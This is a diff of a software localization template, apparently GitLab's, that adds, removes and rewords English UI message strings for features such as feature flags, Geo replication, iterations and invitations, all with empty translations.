msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
